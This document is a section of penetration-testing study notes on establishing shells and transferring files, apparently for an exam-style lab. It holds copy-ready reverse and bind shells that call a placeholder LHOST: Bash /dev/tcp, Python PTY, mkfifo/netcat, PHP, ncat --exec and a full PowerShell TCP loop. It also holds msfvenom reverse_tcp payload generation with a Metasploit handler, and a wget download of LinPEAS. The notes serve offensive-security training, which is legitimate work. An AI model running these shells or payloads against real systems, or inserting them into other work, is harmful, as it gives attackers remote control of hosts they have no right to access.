4.2 Establish sessions and move files
Strategy map | Master Notes | Operational index | Cheatsheets
Delivery, execution, connection and a usable session are separate states. Select a connection direction and compatible interpreter before generating payloads; transfers must preserve bytes and destination permissions.
Speedrun blocks: 7; transfers support 5–14. Documented methods: 12.
Examples are hypothetical study material. Apply commands only to an assigned scope during the later practice phase. A method is enabled by its prerequisites; its presence here does not establish a vulnerability or practical mastery.
4.2.1 First pass: tools and findings
Use the branch matching the current host, identity and observed result. Tool output supplies leads; the linked procedure verifies and uses the exact condition.
4.2.1.1 Verify the host and command identity
A single response is not necessarily a stable session. Record the actual destination and output channel.
hostname
id
pwd
ip addr
ip route
- If Commands execute as the expected target identity: Choose the available callback direction and interpreter. → Connect a Linux reverse shell through an available interpreter.
- If Callback cannot reach the listener: Inspect the actual initiator, destination and route. → Diagnose connection direction, listener and session failures in order.
- Otherwise: Output cannot be attributed to the destination: repeat the host/identity proof. → Verify command execution, host and represented identity.
4.2.1.2 Transfer a reviewed tool through a reachable route
Serve from the attacker and download on the target only when that direction is reachable. Verify the received artifact.
wget http://LHOST:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas.txt
- If The verified Linux enumerator is present: Run the LinPEAS baseline and inspect its findings. → Use enumeration tools to generate manually testable candidates.
- If HTTP is unavailable but SSH file access works: Use SCP instead of forcing the same failing transport. → Copy files through an authenticated SSH service.
- If SMB is the usable authenticated channel: Use the SMB transfer procedure in that identity. → Move Windows files through an authenticated SMB share.
- Otherwise: Bytes differ or the file is missing: fix transfer before interpreting execution errors. → Match an artifact to its executable consumer and runtime.
4.2.2 Discovery workflow
Start with a claimed effect, command primitive or accepted remote identity; a usable shell and return path remain unproved.
Follow these observations into a method; the detailed recognition routes below show synthetic output and the checks still needed.
- Verify destination, execution identity and the actual output channel: Verify command execution, host and represented identity.
- Inspect interpreters and both connection directions before choosing reverse, bind or native access: Connect a Linux reverse shell through an available interpreter; Use a bind shell when the target can accept inbound connections; Use Windows authenticated access or a PowerShell command channel.
- Match artifact/handler and terminal requirements to the selected consumer: Generate a payload matching OS, process, format and handler; Repair a limited Linux terminal.
- Select a transfer route by available client, authentication and direction, then verify bytes: Transfer over HTTP using Linux or Windows clients; Copy files through an authenticated SSH service; Move Windows files through an authenticated SMB share; Move a small artifact through a text-only channel.
Decision rule: an observed clue opens a candidate. Choose it only after the missing conditions are verified; a failed check rules out that context, while unavailable evidence stays inconclusive.
4.2.3 Method families
- Execution and connection direction: Verify command execution, host and represented identity, Connect a Linux reverse shell through an available interpreter, Use Windows authenticated access or a PowerShell command channel, Use a bind shell when the target can accept inbound connections.
- Payload and terminal compatibility: Generate a payload matching OS, process, format and handler, Repair a limited Linux terminal.
- File transport and integrity: Transfer over HTTP using Linux or Windows clients, Copy files through an authenticated SSH service, Move Windows files through an authenticated SMB share, Stream a file over a direct TCP connection, Move a small artifact through a text-only channel, Use a temporary FTP transfer as a constrained fallback.
4.2.4 Choose a method
| Method | Recognition clue | Required access | Enabling conditions | Resulting capability |
|---|---|---|---|---|
| Verify command execution, host and represented identity | A PoC, injected command or remote client reports execution | Verified command execution or authenticated remote access and a known network path | A functioning execution primitive and an observable output or controlled side effect | A verified foothold state with host, identity, privilege and network context |
| Connect a Linux reverse shell through an available interpreter | Linux command execution exists but an interactive channel is needed | Verified command execution or authenticated remote access and a known network path | A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener | A verified reverse command channel under the executing identity |
| Use Windows authenticated access or a PowerShell command channel | Windows execution or valid credentials with an available remote service | Verified command execution or authenticated remote access and a known network path | Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route | A verified Windows session with known token and channel limitations |
| Use a bind shell when the target can accept inbound connections | Reverse egress is unavailable but a target listener is reachable | Verified command execution or authenticated remote access and a known network path | Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward | A verified inbound command channel on the target |
| Generate a payload matching OS, process, format and handler | An existing exploit/delivery primitive needs a binary or raw payload | Verified command execution or authenticated remote access and a known network path | Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener | A compatible artifact and a correctly paired listener configuration |
| Repair a limited Linux terminal | A working shell lacks job control, terminal signals or interactive program support | Verified command execution or authenticated remote access and a known network path | A working channel and available PTY mechanism; correct local-terminal control sequence | A usable terminal while preserving the existing identity |
| Transfer over HTTP using Linux or Windows clients | A tool/artifact must reach a target that can make an HTTP request | Verified command execution or authenticated remote access and a known network path | Correct server bind and served directory; target-to-server route, available downloader and writable destination | A downloaded file whose destination bytes can be verified |
| Copy files through an authenticated SSH service | An SSH identity can access the needed source/destination | Verified command execution or authenticated remote access and a known network path | Reachable SSH/SFTP service, correct key/password and read/write rights; client/server subsystem compatibility | An authenticated file copy with verified bytes |
| Move Windows files through an authenticated SMB share | A Windows source can reach a temporary assessment-side SMB service | Verified command execution or authenticated remote access and a known network path | Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials | A verified read/write transfer over the temporary share |
| Stream a file over a direct TCP connection | Only a raw TCP tool and a direct or forwarded connection are available | Verified command execution or authenticated remote access and a known network path | Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file | A byte stream saved as a file and independently checked for integrity |
| Move a small artifact through a text-only channel | The existing command channel permits text but no convenient file-transfer connection | Verified command execution or authenticated remote access and a known network path | Available Base64 encode/decode, adequate command length and a writable destination | A reconstructed small file with matching bytes |
| Use a temporary FTP transfer as a constrained fallback | The target has an FTP client and simpler transfer routes are unavailable | Verified command execution or authenticated remote access and a known network path | A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode | A verified temporary FTP file transfer |
4.2.5 Verify command execution, host and represented identity
Blocks: 7; transfers support 5–14. Operational procedure | Operational procedure | Operational procedure | Operational procedure | Operational procedure | Quick sheet
4.2.5.1 Purpose and result
A verified foothold state with host, identity, privilege and network context.
4.2.5.2 Recognition clues
A PoC, injected command or remote client reports execution.
4.2.5.2.1 Find the clue from your starting access
Where to investigate: Begin with the original command/PoC/client result and request a small host/identity proof through its existing output channel.
Discovery action — reference example:
Access/context: Verified command execution or authenticated remote access and a known network path
Conditions, effects and verification
Requires: A functioning execution primitive and an observable output or controlled side effect
Action class: May create sessions, execute commands or transfer files.
Stop/verify: Save destination identity/hostname and actual command output; use Windows hostname/whoami/ipconfig when appropriate.
Failure/next check: A hung request or success message does not prove execution. First establish a bounded observable effect, then diagnose the next state.
hostname
id
pwd
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
hostname: TARGET_HOST
uid=USER_ID(APP_USER) gid=GROUP_ID(APP_GROUP)
working directory: /APP_PATH
Recognize this detail: Host-specific identity output demonstrates execution under that account, not yet a reverse connection or full terminal.
Still missing before method selection: Record OS, privilege and network position; choose an access form whose interpreter/service and route exist.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The intended target's command proof is reproducible: use the confirmed foothold as the starting state. |
| Ruled out in this context | The tool's success message has no command-specific effect and the operation is rejected: discard its execution claim. |
| Inconclusive | A hung request with no observable effect leaves execution unknown; obtain a bounded independent observation. |
If you do not yet have this clue: start with Prove visible or blind operating-system command injection.
4.2.5.3 Prerequisites
Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: A functioning execution primitive and an observable output or controlled side effect.
4.2.5.4 Discover and verify prerequisites
hostname
id
pwd
ip addr
ip route
4.2.5.5 Why it works
Execution, connection and a usable session are different capabilities. A command-output path may be enough to enumerate before any interactive shell exists.
4.2.5.6 Execute and choose variants
delivery → execution → connection → usable session
| State | Decisive evidence | Does not yet prove |
|---|---|---|
| Delivery | Exact bytes/request reached intended consumer | Payload executed |
| Execution | Harmless command output or controlled side effect | Network callback works |
| Connection | Listener records the expected peer | Commands and I/O are usable |
| Session | Commands return and host/identity are verified | Higher privilege or stability |
Do not change all four layers at once. Preserve the last confirmed state and test the next boundary.
| Situation | Prefer | Main prerequisite / limitation |
|---|---|---|
| One bounded action is enough | Direct command execution | Observable output or side effect; no shell required |
| Valid credential and remote service | SSH, WinRM or RDP | Authentication plus remote-logon authorization |
| Target can reach Kali | Reverse shell | Target egress and a reachable Kali listener |
| Kali can reach a target listener | Bind shell | Target can bind and inbound path permits it |
| Payload is staged or protocol-aware | Matching framework handler | Handler must use the exact payload/transport |
Prefer authenticated administrative access when it is already available: it is normally more stable, auditable and feature-complete than an improvised shell.
Linux:
id; hostname; pwd
Windows:
whoami & hostname & cd
For blind execution, use one bounded callback or file side effect that the current context can produce and you can independently observe. Do not interpret a hung HTTP request as proof of a shell; the server may simply be waiting on a child process or timeout.
Linux:
hostname; id; pwd
ip addr; ip route
ss -lntup
Windows:
hostname
whoami /all
cd
ipconfig /all
route print
netstat -ano
Record the destination host, actual identity, privilege, current directory, interfaces/routes, parent/execution context and the exact command that produced the session. Then re-enumerate from the new state.
exact prerequisites
→ exploit reaches expected vulnerable path
→ bounded harmless effect or identity output
→ repeatable command execution
→ payload reaches listener
→ usable session
→ verified host/identity/privilege/network position
Do not accept the exploit's own “success” string as proof. Validate an independent effect. An HTTP 200, uploaded filename, connection or application crash each proves less than a verified command result.
4.2.5.7 Worked example — hypothetical
Observation: a PoC says the request completed. Test: obtain a hostname/identity proof through the same primitive. Illustrative output: a low-privileged service account responds. Interpretation: retain that foothold and choose a session method compatible with its interpreter and network.
4.2.5.8 Verify the result
Save destination identity/hostname and actual command output; use Windows hostname/whoami/ipconfig when appropriate.
4.2.5.9 Failure and fallback
A hung request or success message does not prove execution. First establish a bounded observable effect, then diagnose the next state.
4.2.5.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| Linux command execution exists but an interactive channel is needed | A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener | §4.2.6 — Connect a Linux reverse shell through an available interpreter |
| A new Linux foothold or an identity/privilege change | A working command channel and accurate effective identity, group, mount and process context | §5.1.5 — Establish Linux state and choose an escalation candidate |
| A new Windows session or claimed administrator/SYSTEM transition | A functioning command channel and the actual effective token/process context | §5.2.5 — Establish Windows token, host and process context |
4.2.6 Connect a Linux reverse shell through an available interpreter
Choose when: Linux command execution exists but an interactive channel is needed · Result: A verified reverse command channel under the executing identity
Blocks: 7; transfers support 5–14. Operational procedure | Operational procedure | Operational procedure | Quick sheet
4.2.6.1 Purpose and result
A verified reverse command channel under the executing identity.
4.2.6.2 Recognition clues
Linux command execution exists but an interactive channel is needed.
4.2.6.2.1 Find the clue from your starting access
Where to investigate: From the proven Linux command channel inspect available interpreters and the target's route to the proposed listener.
Discovery action — reference example:
Access/context: Verified command execution or authenticated remote access and a known network path
Conditions, effects and verification
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener
Action class: May create sessions, execute commands or transfer files.
Stop/verify: Run hostname/id through the returned channel and distinguish a TCP connection from a functioning shell.
Failure/next check: No packets suggests route/listener/trigger; packets without commands suggest payload/listener mismatch. Check the first failed boundary.
command -v bash python3 php nc
ip route get LHOST
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
/usr/bin/bash
/usr/bin/python3
LHOST via GATEWAY dev INTERFACE
Recognize this detail: An interpreter plus a plausible outbound route suggests a reverse-channel candidate.
Still missing before method selection: Verify target-to-listener reachability, listener binding, exact shell/parser and payload compatibility.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The minimal connection works and the shell/handler matches: select that reverse channel. |
| Ruled out in this context | The chosen interpreter is absent: reject that interpreter's payload, retaining other available methods. |
| Inconclusive | A route entry without packet/connection evidence leaves egress filtering unresolved. |
If you do not yet have this clue: start with Verify command execution, host and represented identity.
4.2.6.3 Prerequisites
Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener.
4.2.6.4 Discover and verify prerequisites
command -v bash python3 php nc
ip route get LHOST
4.2.6.5 Why it works
The target initiates the connection. The chosen LHOST must be reachable from that target, possibly through a pivot; shell syntax must survive every outer parser.
4.2.6.6 Execute and choose variants
trigger context
→ target process/interpreter and architecture
→ target source interface
→ route/egress controls
→ LHOST address visible from target
→ LPORT
→ local bind interface
→ listener/handler
Select LHOST from the target's point of view. A VPN address, tunnel endpoint or reachable interface may be correct while Kali's default-route address is wrong.
On Kali:
ip -brief address
ip route
ss -lntp
Windows source/listener checks:
Get-NetIPAddress -AddressFamily IPv4
Get-NetRoute -AddressFamily IPv4
Get-NetTCPConnection -State Listen
Traditional/OpenBSD-style nc commonly used on Kali:
rlwrap nc -lvnp LPORT
Nmap Ncat uses a positional listen port; do not mechanically copy every nc flag:
ncat -4 -lvn 0.0.0.0 LPORT
Verify the bind in another terminal:
ss -lntp | grep ':LPORT'
If multiple interfaces exist, bind deliberately:
ncat -4 -lvn LHOST LPORT
Failure cue: a listener bound only to
127.0.0.1, the wrong VPN/interface address or the wrong address family cannot receive the expected callback. “Address already in use” means another process owns the bind.
Choose an interpreter that you confirmed exists.
Bash TCP:
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
Python 3 with a PTY:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
Portable FIFO plus Netcat when -e is absent:
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f
PHP CLI:
php -r '$s=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'
4.2.6.6.1 Variant — target has Ncat command execution
Linux:
ncat LHOST LPORT --exec /bin/sh
Windows:
ncat.exe LHOST LPORT --exec cmd.exe
--exec exposes the named program directly to the network connection. Use only on the assigned host and remove transferred tooling when the exercise requires cleanup.
Shell-language cue: a command injection may execute through
/bin/sh, which does not understand every Bash construct. Wrap Bash-specific syntax inbash -c '...'and then encode it for the outer HTTP/template/database layer.
4.2.6.7 Worked example — hypothetical
Observation: id works through a web command field but no shell arrives. Test: verify Bash exists and wrap its redirections in bash -c while inspecting listener traffic. Illustrative output: a connection and target identity appear. Interpretation: stabilize the terminal before interactive tools.
4.2.6.8 Verify the result
Run hostname/id through the returned channel and distinguish a TCP connection from a functioning shell.
4.2.6.9 Failure and fallback
No packets suggests route/listener/trigger; packets without commands suggest payload/listener mismatch. Check the first failed boundary.
4.2.6.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A working shell lacks job control, terminal signals or interactive program support | A working channel and available PTY mechanism; correct local-terminal control sequence | §4.2.10 — Repair a limited Linux terminal |
| Command execution or payload delivery exists but the expected usable channel does not | A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence | §7.1.13 — Diagnose connection direction, listener and session failures in order |
| A tool/artifact must reach a target that can make an HTTP request | Correct server bind and served directory; target-to-server route, available downloader and writable destination | §4.2.11 — Transfer over HTTP using Linux or Windows clients |
| Reverse egress is unavailable but a target listener is reachable | Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward | §4.2.8 — Use a bind shell when the target can accept inbound connections |
4.2.7 Use Windows authenticated access or a PowerShell command channel
Choose when: Windows execution or valid credentials with an available remote service · Result: A verified Windows session with known token and channel limitations
Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet
4.2.7.1 Purpose and result
A verified Windows session with known token and channel limitations.
4.2.7.2 Recognition clues
Windows execution or valid credentials with an available remote service.
4.2.7.2.1 Find the clue from your starting access
Where to investigate: From Windows execution inspect the actual PowerShell/runtime context and any reachable authenticated remote service before building a callback.
Discovery action — reference example:
Access/context: Verified command execution or authenticated remote access and a known network path
Conditions, effects and verification
Requires: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route
Action class: May create sessions, execute commands or transfer files.
Stop/verify: Verify hostname, whoami /all and command behavior through the resulting channel.
Failure/next check: A saved credential may be valid for one protocol only. PowerShell policy, language mode, parser and antimalware evidence require different responses.
whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
User: DOMAIN\APP_USER
PSVersion: AVAILABLE_VERSION
LanguageMode: ConstrainedLanguage
Recognize this detail: The execution identity and constrained language context affect which command-channel implementations can run.
Still missing before method selection: Check permitted language features, remote endpoint authorization or a working callback route; encoding does not grant those.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | A supported native endpoint or verified compatible command channel works: use it and verify its token. |
| Ruled out in this context | The chosen .NET-heavy implementation is blocked by this language mode: discard that implementation. |
| Inconclusive | Unknown policy/AMSI/endpoint behavior requires identifying the first failing layer. |
If you do not yet have this clue: start with Verify command execution, host and represented identity.
4.2.7.3 Prerequisites
Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route.
4.2.7.4 Discover and verify prerequisites
hostname
whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode
4.2.7.5 Why it works
Authenticated WinRM/RDP/SSH can be simpler than an injected callback. A basic PowerShell TCP loop is a command stream rather than a full terminal; encoding fixes parser transport, not authorization or endpoint controls.
4.2.7.6 Execute and choose variants
Prefer an available authenticated service:
evil-winrm -i TARGET -u USER -p 'PASSWORD'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /p:'PASSWORD' /cert:ignore
ssh -p PORT USER@TARGET
PowerShell TCP shell when direct command execution is the only primitive:
$client = [Net.Sockets.TcpClient]::new('LHOST',LPORT)
$stream = $client.GetStream()
$buffer = New-Object byte[] 65535
while (($count = $stream.Read($buffer,0,$buffer.Length)) -gt 0) {
$command = [Text.Encoding]::ASCII.GetString($buffer,0,$count)
$output = (Invoke-Expression $command 2>&1 | Out-String) + "PS $((Get-Location).Path)> "
$bytes = [Text.Encoding]::ASCII.GetBytes($output)
$stream.Write($bytes,0,$bytes.Length)
$stream.Flush()
}
$client.Close()
This is a basic command channel, not a ConPTY. Host policy, language mode, AMSI/antimalware, quoting and the parent process can affect it.
PowerShell -EncodedCommand solves nested quoting; it is not encryption or an AV bypass. Generate UTF-16LE Base64 locally:
$command = 'COMMAND'
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
$encoded
Invoke in the target command context:
powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE
4.2.7.7 Worked example — hypothetical
Observation: a PowerShell command can execute but RDP rights are absent. Test: select a supported command channel and verify its identity. Illustrative output: commands run as the web service account. Interpretation: enumerate that token rather than assume an interactive administrator session.
4.2.7.8 Verify the result
Verify hostname, whoami /all and command behavior through the resulting channel.
4.2.7.9 Failure and fallback
A saved credential may be valid for one protocol only. PowerShell policy, language mode, parser and antimalware evidence require different responses.
4.2.7.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A new Windows session or claimed administrator/SYSTEM transition | A functioning command channel and the actual effective token/process context | §5.2.5 — Establish Windows token, host and process context |
| A WinRM listener and a candidate endpoint-authorized account | Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context | §6.4.4.12 — Use WinRM, WinRS or PowerShell remoting |
| PowerShell reports scripts disabled, constrained syntax or an execution-control error | Actual host policy/language context and a supported allowed execution route; required runtime features remain available | §7.1.9 — Distinguish PowerShell policy, language mode and protected execution layers |
4.2.8 Use a bind shell when the target can accept inbound connections
Choose when: Reverse egress is unavailable but a target listener is reachable · Result: A verified inbound command channel on the target
Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet
4.2.8.1 Purpose and result
A verified inbound command channel on the target.
4.2.8.2 Recognition clues
Reverse egress is unavailable but a target listener is reachable.
4.2.8.2.1 Find the clue from your starting access
Where to investigate: Inspect target-side listening permissions, tool implementation and the assessment-source route to a proposed listener.
Discovery action — reference example:
Access/context: Verified command execution or authenticated remote access and a known network path
Conditions, effects and verification
Requires: Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward
Action class: May create sessions, execute commands or transfer files.
Stop/verify: Verify reachable listener plus hostname/id over the channel; record and later remove the created listener.
Failure/next check: A target-side listener with client timeout implies a route/firewall boundary. Use an appropriate forward or another allowed access form.
nc -h
ss -lnt
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Netcat help: no -e option
Selected listen port: not currently bound
Recognize this detail: The implementation cannot use an assumed -e shell; another supported listener mechanism is needed.
Still missing before method selection: Confirm a compatible bind command, permitted listener and inbound source-to-target reachability.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The selected implementation binds and the source reaches it: use the verified inbound channel. |
| Ruled out in this context | The required inbound connection is filtered and no permitted forward exists: reject this bind route. |
| Inconclusive | A local listen socket alone leaves remote firewall/access unknown. |
If you do not yet have this clue: start with Verify command execution, host and represented identity.
4.2.8.3 Prerequisites
Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward.
4.2.8.4 Discover and verify prerequisites
nc -h
ss -lnt
4.2.8.5 Why it works
The target listens and the assessment client connects. A local successful bind is separate from remote firewall/route acceptance.
4.2.8.6 Execute and choose variants
Use a bind shell only when Kali can reach a target listener and reverse egress is unavailable.
Traditional Netcat with -e support on a Linux target:
nc -lvnp PORT -e /bin/sh
Connect from Kali:
nc -nv TARGET PORT
FIFO alternative when -e is absent:
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp PORT >/tmp/f
Ncat target listener:
ncat -4 -lvn 0.0.0.0 PORT --exec /bin/sh
Bind shells expose a target port and may be blocked by the host firewall or upstream ACL. A successful local bind does not prove Kali can reach it.
4.2.8.7 Worked example — hypothetical
Observation: the target cannot connect outward. Test: verify an allowed inbound path and compatible bind implementation. Illustrative output: the assessment client connects and receives target identity. Interpretation: use the same verification and terminal-repair steps as another foothold.
4.2.8.8 Verify the result
Verify reachable listener plus hostname/id over the channel; record and later remove the created listener.
4.2.8.9 Failure and fallback
A target-side listener with client timeout implies a route/firewall boundary. Use an appropriate forward or another allowed access form.
4.2.8.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A working shell lacks job control, terminal signals or interactive program support | A working channel and available PTY mechanism; correct local-terminal control sequence | §4.2.10 — Repair a limited Linux terminal |
| One reachable pivot can connect to one internal TCP destination | A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity | §6.1.3.6 — Relay a single TCP service through a fixed forward |
| A PoC, injected command or remote client reports execution | A functioning execution primitive and an observable output or controlled side effect | §4.2.5 — Verify command execution, host and represented identity |
4.2.9 Generate a payload matching OS, process, format and handler
Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet
4.2.9.1 Purpose and result
A compatible artifact and a correctly paired listener configuration.
4.2.9.2 Recognition clues
An existing exploit/delivery primitive needs a binary or raw payload.
4.2.9.2.1 Find the clue from your starting access
Where to investigate: Inspect the actual consumer/process and existing exploit constraints before browsing payload names or formats.
Discovery action — reference example:
Access/context: Verified command execution or authenticated remote access and a known network path
Conditions, effects and verification
Requires: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener
Action class: May create sessions, execute commands or transfer files.
Stop/verify: Check artifact format/hash and actual session identity; generation success is not execution proof.
Failure/next check: Wrong architecture, stage/handler mismatch, missing second route or payload-space constraints require separate fixes. Encoding does not guarantee endpoint-control bypass.
file TARGET_ARTIFACT
msfvenom -l payloads
msfvenom --list formats
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Consumer: Windows x64 executable
Candidate payload: windows/x64/shell/reverse_tcp
Delivery expects: PE executable
Recognize this detail: The staged payload name and executable consumer must be matched to the handler and delivery format.
Still missing before method selection: Check target/process architecture, permitted feature, exact payload options, stage route and listener.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | Format/architecture/handler and routes all match: generate the selected artifact. |
| Ruled out in this context | An ELF or DLL is supplied to an EXE-only consumer: reject that format. |
| Inconclusive | OS architecture without process/delivery evidence does not settle payload compatibility. |
If you do not yet have this clue: start with Verify command execution, host and represented identity.
4.2.9.3 Prerequisites
Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener.
4.2.9.4 Discover and verify prerequisites
msfvenom -l payloads
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options
4.2.9.5 Why it works
An ELF, PE, script and raw shellcode serve different consumers. A staged payload requires another transfer and a matching handler; Netcat may receive a stage request without producing a shell.
4.2.9.6 Execute and choose variants
List rather than guess names and formats:
msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options
Stageless command-shell binaries:
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=LHOST LPORT=LPORT \
-f elf -o shell.elf
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=LHOST LPORT=LPORT \
-f exe -o shell.exe
Verify the resulting artifacts:
file shell.elf shell.exe
sha256sum shell.elf shell.exe
msfvenomdoes not make a payload compatible with the delivery path. Match target OS, process architecture, payload type, output format, available execution method and callback route.
4.2.9.6.1.1 Staged versus stageless
stageless: complete payload delivered at once; larger, usually simpler and more stable
staged: small first stage connects and retrieves the rest; smaller initial footprint, needs matching handler and second transfer
Metasploit naming commonly reflects the distinction:
windows/x64/shell_reverse_tcp stageless
windows/x64/shell/reverse_tcp staged
A raw Netcat listener can receive many ordinary stageless command shells. A staged payload normally needs multi/handler configured with the exact same payload:
msfconsole -q
use exploit/multi/handler
set payload PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show options
run
A connection to Netcat with no usable commands can mean a staged payload reached a non-staging listener. It is not necessarily failed code execution.
4.2.9.6.1.2 Existing-PoC payload constraints
Only when an existing reviewed PoC documents payload space and bad characters:
msfvenom -p PAYLOAD_NAME \
LHOST=LHOST LPORT=LPORT \
-f FORMAT -v VARIABLE \
-b 'BAD_CHARACTERS' \
-s MAX_SPACE
Encoders and repeated encoding do not guarantee antimalware evasion. -b is for bytes that the vulnerable input path cannot preserve; do not invent a universal bad-character list.
4.2.9.7 Worked example — hypothetical
Observation: a payload connects to Netcat but produces unreadable/no commands. Test: inspect the exact staged payload name and pair its handler. Illustrative output: staging completes and the intended session appears. Interpretation: verify the identity and record the permitted framework context.
4.2.9.8 Verify the result
Check artifact format/hash and actual session identity; generation success is not execution proof.
4.2.9.9 Failure and fallback
Wrong architecture, stage/handler mismatch, missing second route or payload-space constraints require separate fixes. Encoding does not guarantee endpoint-control bypass.
4.2.9.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A downloaded/generated artifact exists but does not run | Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format | §7.1.7 — Match an artifact to its executable consumer and runtime |
| A payload connects without a session, or a handler/session exits unexpectedly | Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration | §7.1.11 — Pair staged payloads with the correct handler and session lifecycle |
| A PoC, injected command or remote client reports execution | A functioning execution primitive and an observable output or controlled side effect | §4.2.5 — Verify command execution, host and represented identity |
4.2.10 Repair a limited Linux terminal
Blocks: 7; transfers support 5–14. Operational procedure | Quick sheet
4.2.10.1 Purpose and result
A usable terminal while preserving the existing identity.
4.2.10.2 Recognition clues
A working shell lacks job control, terminal signals or interactive program support.
4.2.10.2.1 Find the clue from your starting access
Where to investigate: Inspect the working shell's terminal state and available PTY utilities after verifying a stable command channel.
Discovery action — reference example:
Access/context: Verified command execution or authenticated remote access and a known network path
Conditions, effects and verification
Requires: A working channel and available PTY mechanism; correct local-terminal control sequence
Action class: May create sessions, execute commands or transfer files.
Stop/verify: Check tty, signal handling and an interactive program; confirm the same identity remains.
Failure/next check: A dropped connection is not solved by terminal settings. If no PTY mechanism exists, use noninteractive commands or an authenticated terminal method.
tty
command -v python3 script socat
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
not a tty
/usr/bin/python3
Recognize this detail: A functioning socket shell lacks a controlling terminal while a potential PTY mechanism exists.
Still missing before method selection: Verify the available PTY mode, local terminal handling and stable connection; privilege remains unchanged.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The supported PTY and local settings restore terminal behavior: use interactive tools in that same identity. |
| Ruled out in this context | The channel drops before any command executes: reject terminal settings as the first fault. |
| Inconclusive | No PTY utility found leaves alternative terminal methods/noninteractive use to investigate. |
If you do not yet have this clue: start with Verify command execution, host and represented identity.
4.2.10.3 Prerequisites
Starting access: Verified command execution or authenticated remote access and a known network path. Required conditions: A working channel and available PTY mechanism; correct local-terminal control sequence.
4.2.10.4 Discover and verify prerequisites
tty
command -v python3 script socat
4.2.10.5 Why it works
A socket-backed command stream is not automatically a terminal. A PTY and correct local raw/echo settings repair terminal behavior without changing privileges.
4.2.10.6 Execute and choose variants
First obtain a PTY with an available interpreter:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Press Ctrl-Z locally, then:
stty raw -echo; fg
Back in the remote shell:
reset
export TERM=xterm-256color
stty rows 40 columns 120
